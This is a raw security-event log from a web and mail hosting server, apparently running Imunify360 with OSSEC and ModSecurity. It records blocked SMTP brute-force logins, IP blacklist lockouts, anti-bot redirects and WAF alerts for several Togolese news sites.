103.108.92.89 - - [20/Jun/2026:15:59:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12741830&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781971194 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [20/Jun/2026:15:59:51 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13014728&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781971190 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 20 15:59:34 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-20 15:59:37 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:41194: 535 Incorrect authentication data (set_id=cq)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 20 15:59:40 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-20 15:59:46 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:34420: 535 Incorrect authentication data (set_id=ortho)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-20 15:59:49 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:30080: 535 Incorrect authentication data (set_id=xiaoyou)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 158.173.66.40
country_id: 2077456
description:
158.173.66.40 - - [20/Jun/2026:15:59:57 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10000796&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781971194 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.66.40


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-20 15:59:38 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:52062: 535 Incorrect authentication data (set_id=cq)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.136.142.13
country_id: 1814991
description:
Jun 20 15:59:38 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.136.142.13 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.30.46.91
country_id: 3175395
description:
Jun 20 15:59:43 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.30.46.91 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 20 15:59:47 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 151.240.228.107
country_id: 357994
domain: togodailynews.tg
description:
IM360 WAF: Track upload attempt||MVN:ARGS:request_uri||MV:togo-de-bons-rapports-etablis-sur-le-systeme-educatif/||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.63.138.70
country_id: 3469034
description:
Jun 20 16:00:19 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.63.138.70 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-20 15:59:36 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:55488: 535 Incorrect authentication data (set_id=cd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-20 15:59:42 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:19112: 535 Incorrect authentication data (set_id=edi)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 20 15:59:35 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-20 15:59:54 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:5666: 535 Incorrect authentication data (set_id=zhaowei)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 20 16:00:35 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-20 16:00:37 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:46146: 535 Incorrect authentication data (set_id=junk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-20 16:00:45 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:21046: 535 Incorrect authentication data (set_id=parts)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 20 16:00:46 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-20 16:00:48 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:27692: 535 Incorrect authentication data (set_id=mpokora)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-20 16:00:33 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:10404: 535 Incorrect authentication data (set_id=estadisticas)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-20 16:00:36 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:5478: 535 Incorrect authentication data (set_id=test01)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 20 16:00:43 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.89.208.174
country_id: 1605651
description:
Jun 20 16:00:53 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.89.208.174 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 20 16:01:05 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-20 16:01:07 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:2678: 535 Incorrect authentication data (set_id=commission)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 190.60.33.147
country_id: 3686110
description:
190.60.33.147 - - [20/Jun/2026:16:01:13 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6604907&pdata=https%253A%252F%252Ftogodailynews.tg%252Fecobank-meilleure-banque-dafrique-pour-les-pme%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781971271 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/ecobank-meilleure-banque-dafrique-pour-les-pme/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.4677.1124 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:190.60.33.147


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 20 16:01:31 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-20 16:01:36 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:3722: 535 Incorrect authentication data (set_id=ahmed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 20 16:01:50 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:16:01:57 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10054507&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781971315 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-20 16:01:37 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:19518: 535 Incorrect authentication data (set_id=aviation)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-20 16:01:43 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:17940: 535 Incorrect authentication data (set_id=bonnie)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 20 16:01:50 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-20 16:01:52 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:11158: 535 Incorrect authentication data (set_id=lexi)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.1.212.250
country_id: 2077456
description:
103.1.212.250 - - [20/Jun/2026:16:01:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7051624&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781971317 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.1.212.250


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-20 16:01:33 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:45426: 535 Incorrect authentication data (set_id=eddie)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 20 16:01:34 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-20 16:01:52 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:22504: 535 Incorrect authentication data (set_id=iptv)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 20 16:02:29 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 20 16:02:30 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 20 16:02:34 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-20 16:02:38 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:51814: 535 Incorrect authentication data (set_id=espace)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-20 16:02:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:58546: 535 Incorrect authentication data (set_id=learn)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-20 16:02:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:53052: 535 Incorrect authentication data (set_id=pioneer)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-20 16:02:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:62592: 535 Incorrect authentication data (set_id=craigslist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 20 16:02:36 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-20 16:02:52 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:2200: 535 Incorrect authentication data (set_id=test004)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 169.224.19.0
country_id: 99237
domain: brmn.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/brmn.tghttp/brmn.tg/brmn HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-20 16:02:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:44138: 535 Incorrect authentication data (set_id=cypher)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 169.224.19.0
country_id: 99237
domain: brmn.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/brmn.tg/index.php/brmn HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-20 16:02:50 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:55930: 535 Incorrect authentication data (set_id=espace)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 20 16:03:29 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-20 16:03:34 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:32070: 535 Incorrect authentication data (set_id=hosono)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 20 16:03:37 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-20 16:03:49 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:14572: 535 Incorrect authentication data (set_id=irodriguez)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-20 16:03:43 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:10854: 535 Incorrect authentication data (set_id=kannan)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 27.34.68.159
country_id: 1282988
description:
27.34.68.159 - - [20/Jun/2026:16:03:46 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10275686&pdata=https%253A%252F%252Fmediatopnews.tg%252F%253Fp%253D9095&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781971424 HTTP/2.0" 302 0 mediatopnews.tg "https://mediatopnews.tg/?p=9095" "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2548.1095 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:27.34.68.159


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-20 16:03:51 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:35898: 535 Incorrect authentication data (set_id=us3)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.192.65.77
country_id: 1269750
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/01/290.000-femmes-enceintes-sont-assistees_i19202.webp 1627w, http:/togodailynews.tg/wp-content/uploads/2026/01/290.000-femmes-enceintes-sont-assistees_i19202-300x199.webp 300w, http:/togodailynews.tg/wp-content/uploads/2026/01/290.000-femmes-enceintes-sont-assistees_i19202-1024x680.webp 1024w, http:/togodailynews.tg/wp-content/uploads/2026/01/290.000-femmes-enceintes-sont-assistees_i19202-768x510.webp 768w, http:/togodailynews.tg/wp-content/uploads/2026/01/290.000-femmes-enceintes-sont-assistees_i19202-1536x1020.webp 1536w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 20 16:03:32 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-20 16:03:39 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:3978: 535 Incorrect authentication data (set_id=t)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 20 16:03:49 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-20 16:03:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:57966: 535 Incorrect authentication data (set_id=ipbx)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.54.238.57
country_id: 2542007
description:
[2026-06-20 16:03:52 +0000] info [cpaneld] 102.54.238.57 - enadamso "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user enadamso (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-20 16:04:40 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:55118: 535 Incorrect authentication data (set_id=nfe)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 20 16:04:47 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 20 16:04:48 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 20 16:04:53 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-20 16:04:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:50938: 535 Incorrect authentication data (set_id=ace)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-20 16:04:39 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:30282: 535 Incorrect authentication data (set_id=su)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-20 16:04:49 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:36380: 535 Incorrect authentication data (set_id=kraken)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-20 16:04:50 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:38932: 535 Incorrect authentication data (set_id=wyl)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-20 16:04:55 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:8912: 535 Incorrect authentication data (set_id=svt)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 20 16:04:37 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 20 16:05:41 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-20 16:05:38 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:33472: 535 Incorrect authentication data (set_id=xo)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 20 16:05:34 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-20 16:05:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:51274: 535 Incorrect authentication data (set_id=caroline)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 20 16:05:33 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-20 16:05:36 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:28864: 535 Incorrect authentication data (set_id=ventas1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-20 16:05:43 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:20842: 535 Incorrect authentication data (set_id=watch)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-20 16:05:54 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:2082: 535 Incorrect authentication data (set_id=xo)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.8.77.19
country_id: 3625428
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2021/08/IMG-20210813-WA0017-1024x768.jpg 1024w, http:/togodailynews.tg/wp-content/uploads/2021/08/IMG-20210813-WA0017-300x225.jpg 300w, http:/togodailynews.tg/wp-content/uploads/2021/08/IMG-20210813-WA0017-768x576.jpg 768w, http:/togodailynews.tg/wp-content/uploads/2021/08/IMG-20210813-WA0017.jpg 1040w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 20 16:05:36 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-20 16:05:41 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:26954: 535 Incorrect authentication data (set_id=avenue)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 89.153.57.84
country_id: 2264397
domain: lepoint-actu.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:80718.lepoint-actu.tg||ServerName:lepoint-actu.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:45b607eec5976b442a7d2fc8ca4f4d688725a7f6||Title:0x5127f2b1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-20 16:05:35 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:12290: 535 Incorrect authentication data (set_id=sky)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-20 16:06:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:42098: 535 Incorrect authentication data (set_id=termine)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-20 16:06:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:32404: 535 Incorrect authentication data (set_id=ovpn-uk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-20 16:06:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:13300: 535 Incorrect authentication data (set_id=scan2)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 5.57.6.157
country_id: 272103
description:
5.57.6.157 - - [20/Jun/2026:16:07:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13134282&pdata=https%253A%252F%252Ftogodailynews.tg%252F%253Fp%253D12617&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781971619 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/?p=12617" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:5.57.6.157


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 20 16:06:27 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-20 16:06:38 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:1144: 535 Incorrect authentication data (set_id=sok)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
